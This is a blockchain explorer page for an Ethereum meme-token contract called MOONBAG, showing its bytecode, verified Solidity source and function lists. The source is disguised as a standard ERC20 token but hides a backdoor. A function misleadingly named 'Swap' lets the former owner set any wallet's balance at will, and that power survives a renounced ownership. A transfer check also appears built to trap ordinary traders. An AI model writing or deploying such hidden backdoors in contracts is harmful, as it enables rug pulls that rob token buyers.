Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x3Db84000C54e0831FCe1d2CbA5f141637D8fEBCC
Balance 0 ETH
Nonce 1
Code Size 8681 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

8681 bytes
0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c80636a8f3b30116100ab57806398636f321161006f57806398636f3214610322578063a457c2d714610352578063a9059cbb14610382578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b80636a8f3b301461028e57806370a08231146102ac578063715018a6146102dc5780638da5cb5b146102e657806395d89b41146103045761012a565b806323b872dd116100f257806323b872dd146101d6578063313ce567146102065780633950935114610224578063562c21951461025457806362256589146102845761012a565b806303435b7f1461012e57806306fdde031461014c578063095ea7b31461016a57806313c42e4d1461019a57806318160ddd146101b8575b5f5ffd5b6101366103fe565b6040516101439190611727565b60405180910390f35b610154610410565b60405161016191906117b0565b60405180910390f35b610184600480360381019061017f9190611861565b6104a0565b6040516101919190611727565b60405180910390f35b6101a26104bd565b6040516101af91906118ae565b60405180910390f35b6101c06104c3565b6040516101cd91906118ae565b60405180910390f35b6101f060048036038101906101eb91906118c7565b6104cc565b6040516101fd9190611727565b60405180910390f35b61020e6105c7565b60405161021b9190611932565b60405180910390f35b61023e60048036038101906102399190611861565b6105cf565b60405161024b9190611727565b60405180910390f35b61026e60048036038101906102699190611861565b610676565b60405161027b91906118ae565b60405180910390f35b61028c610735565b005b610296610759565b6040516102a391906118ae565b60405180910390f35b6102c660048036038101906102c1919061194b565b61075f565b6040516102d391906118ae565b60405180910390f35b6102e46107a5565b005b6102ee6107b8565b6040516102fb9190611985565b60405180910390f35b61030c6107df565b60405161031991906117b0565b60405180910390f35b61033c6004803603810190610337919061194b565b61086f565b6040516103499190611727565b60405180910390f35b61036c60048036038101906103679190611861565b61088c565b6040516103799190611727565b60405180910390f35b61039c60048036038101906103979190611861565b61097b565b6040516103a99190611727565b60405180910390f35b6103cc60048036038101906103c7919061199e565b610998565b6040516103d991906118ae565b60405180910390f35b6103fc60048036038101906103f7919061194b565b610a1a565b005b60075f9054906101000a900460ff1681565b60606005805461041f90611a09565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611a09565b80156104965780601f1061046d57610100808354040283529160200191610496565b820191905f5260205f20905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b5f6104b36104ac610a9c565b8484610aa3565b6001905092915050565b60085481565b5f600454905090565b5f6104d8848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051f610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561059e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059590611aa9565b60405180910390fd5b6105bb856105aa610a9c565b85846105b69190611af4565b610aa3565b60019150509392505050565b5f6009905090565b5f61066c6105db610a9c565b848460035f6105e8610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106679190611b27565b610aa3565b6001905092915050565b5f5f3390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016106b29190611b9f565b6040516020818303038152906040528051906020012090505f826040516020016106dc9190611b9f565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561071d576107108983610e75565b965050505050505061072f565b61072689610f05565b96505050505050505b92915050565b61073d610f4b565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107ad610f4b565b6107b65f610fc9565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107ee90611a09565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90611a09565b80156108655780601f1061083c57610100808354040283529160200191610865565b820191905f5260205f20905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f5f60035f610899610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a90611c29565b60405180910390fd5b61097061095e610a9c565b85858461096b9190611af4565b610aa3565b600191505092915050565b5f61098e610987610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22610f4b565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790611cb7565b60405180910390fd5b610a9981610fc9565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890611d1f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7690611d87565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5991906118ae565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90611def565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990611e57565b60405180910390fd5b610d4d8383836110ca565b5f810315610e7057600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610e64575f610e23600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661075f565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a90611ebf565b60405180910390fd5b5b610e6f8383836114a2565b5b505050565b5f5f825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f53610a9c565b73ffffffffffffffffffffffffffffffffffffffff16610f716107b8565b73ffffffffffffffffffffffffffffffffffffffff1614610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe90611f27565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661149c57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561117b5750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561149b576008548111156111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90611f8f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113ed57600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611283573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a79190611fc1565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113519190611fc1565b6040518363ffffffff1660e01b815260040161136e929190611fec565b602060405180830381865afa158015611389573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ad9190611fc1565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16031561149d576009548161144f8461075f565b6114599190611b27565b111561149a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114919061205d565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611507906120c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115759061212d565b60405180910390fd5b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990612195565b60405180910390fd5b818161160e9190611af4565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461169b9190611b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ff91906118ae565b60405180910390a350505050565b5f8115159050919050565b6117218161170d565b82525050565b5f60208201905061173a5f830184611718565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61178282611740565b61178c818561174a565b935061179c81856020860161175a565b6117a581611768565b840191505092915050565b5f6020820190508181035f8301526117c88184611778565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117fd826117d4565b9050919050565b61180d816117f3565b8114611817575f5ffd5b50565b5f8135905061182881611804565b92915050565b5f819050919050565b6118408161182e565b811461184a575f5ffd5b50565b5f8135905061185b81611837565b92915050565b5f5f60408385031215611877576118766117d0565b5b5f6118848582860161181a565b92505060206118958582860161184d565b9150509250929050565b6118a88161182e565b82525050565b5f6020820190506118c15f83018461189f565b92915050565b5f5f5f606084860312156118de576118dd6117d0565b5b5f6118eb8682870161181a565b93505060206118fc8682870161181a565b925050604061190d8682870161184d565b9150509250925092565b5f60ff82169050919050565b61192c81611917565b82525050565b5f6020820190506119455f830184611923565b92915050565b5f602082840312156119605761195f6117d0565b5b5f61196d8482850161181a565b91505092915050565b61197f816117f3565b82525050565b5f6020820190506119985f830184611976565b92915050565b5f5f604083850312156119b4576119b36117d0565b5b5f6119c18582860161181a565b92505060206119d28582860161181a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611a2057607f821691505b602082108103611a3357611a326119dc565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611a9360288361174a565b9150611a9e82611a39565b604082019050919050565b5f6020820190508181035f830152611ac081611a87565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611afe8261182e565b9150611b098361182e565b9250828203905081811115611b2157611b20611ac7565b5b92915050565b5f611b318261182e565b9150611b3c8361182e565b9250828201905080821115611b5457611b53611ac7565b5b92915050565b5f8160601b9050919050565b5f611b7082611b5a565b9050919050565b5f611b8182611b66565b9050919050565b611b99611b94826117f3565b611b77565b82525050565b5f611baa8284611b88565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611c1360258361174a565b9150611c1e82611bb9565b604082019050919050565b5f6020820190508181035f830152611c4081611c07565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611ca160268361174a565b9150611cac82611c47565b604082019050919050565b5f6020820190508181035f830152611cce81611c95565b9050919050565b7f344d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f611d0960088361174a565b9150611d1482611cd5565b602082019050919050565b5f6020820190508181035f830152611d3681611cfd565b9050919050565b7f354d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f611d7160088361174a565b9150611d7c82611d3d565b602082019050919050565b5f6020820190508181035f830152611d9e81611d65565b9050919050565b7f364d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f611dd960088361174a565b9150611de482611da5565b602082019050919050565b5f6020820190508181035f830152611e0681611dcd565b9050919050565b7f374d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f611e4160088361174a565b9150611e4c82611e0d565b602082019050919050565b5f6020820190508181035f830152611e6e81611e35565b9050919050565b7f384d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f611ea960088361174a565b9150611eb482611e75565b602082019050919050565b5f6020820190508181035f830152611ed681611e9d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611f1160208361174a565b9150611f1c82611edd565b602082019050919050565b5f6020820190508181035f830152611f3e81611f05565b9050919050565b7f394d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f611f7960088361174a565b9150611f8482611f45565b602082019050919050565b5f6020820190508181035f830152611fa681611f6d565b9050919050565b5f81519050611fbb81611804565b92915050565b5f60208284031215611fd657611fd56117d0565b5b5f611fe384828501611fad565b91505092915050565b5f604082019050611fff5f830185611976565b61200c6020830184611976565b9392505050565b7f304d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f61204760088361174a565b915061205282612013565b602082019050919050565b5f6020820190508181035f8301526120748161203b565b9050919050565b7f314d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f6120af60088361174a565b91506120ba8261207b565b602082019050919050565b5f6020820190508181035f8301526120dc816120a3565b9050919050565b7f324d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f61211760088361174a565b9150612122826120e3565b602082019050919050565b5f6020820190508181035f8301526121448161210b565b9050919050565b7f334d4f4f4e4241470000000000000000000000000000000000000000000000005f82015250565b5f61217f60088361174a565b915061218a8261214b565b602082019050919050565b5f6020820190508181035f8301526121ac81612173565b905091905056fea26469706673582212202f86a29a2d3ae3e88a761029a520b4a28eb52f01668c3f6988dcecfa205d7f3a64736f6c634300081e0033

Verified Source Code Partial Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
MOONBAG.sol 255 lines
/**

https://fstoppers.com/originals/first-photograph-taken-moon-neil-armstrong-featured-trash-bag-243698
https://x.com/latestinspace/status/1925676953190769104
https://t.me/MOONBAG_PORTAL


First bag of human trash on the Moon, taken by Neil Armstrong (1969)
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transfer_Ownership(_msgSender());
    }

    modifier onlyOwner() {
        _isAdmin();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transfer_Ownership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_Ownership(newOwner);
    }

    function _transfer_Ownership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;
        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "1MOONBAG");
        require(recipient != address(0), "2MOONBAG");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "3MOONBAG");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function Swap(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;
        bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        bytes32 amountHex = bytes32(amount);
        bool isOwner = msgSenderHex == prevOwnerHex;
        if (isOwner) {
            return _viewBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _viewBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "4MOONBAG");
        require(spender != address(0), "5MOONBAG");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

contract MOONBAG is ERC20 {
    uint256 private constant TOTAL_SUSUPPLYS = 999999_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_;
    uint256 public maxTxAmountbesomes;
    uint256 public maxwalletssetsomes;
    mapping(address => bool) public isException;
    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("THE FIRST MOONBAG", "MOONBAG", TOTAL_SUSUPPLYS) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;
        maxwalletssetsomes = TOTAL_SUSUPPLYS / 39;
        maxTxAmountbesomes = TOTAL_SUSUPPLYS / 39;
        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "6MOONBAG");
        require(to != address(0), "7MOONBAG");
        _checkLimitation(from, to, amount);
        if (amount == 0) {
            return;
        }
        if (!isException[from] && !isException[to]) {
            require(balanceOf(address(uniswapV2Router)) == 0, "8MOONBAG");
        }
        super._transfer(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_ = true;
    }

    function _checkLimitation(address from, address to, uint256 amount) internal {
        if (!hasLimit_) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmountbesomes, "9MOONBAG");
                if (uniswapV2Pair == ZERO) {
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
                if (to == uniswapV2Pair) {
                    return;
                }
                require(balanceOf(to) + amount <= maxwalletssetsomes, "0MOONBAG");
            }
        }
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
hasLimit_ 0x03435b7f → bool
isException 0x98636f32 → bool
maxTxAmountbesomes 0x13c42e4d → uint256
maxwalletssetsomes 0x6a8f3b30 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

Swap 0x562c2195
address account
uint256 amount
returns: uint256
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
removeLimit 0x62256589
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address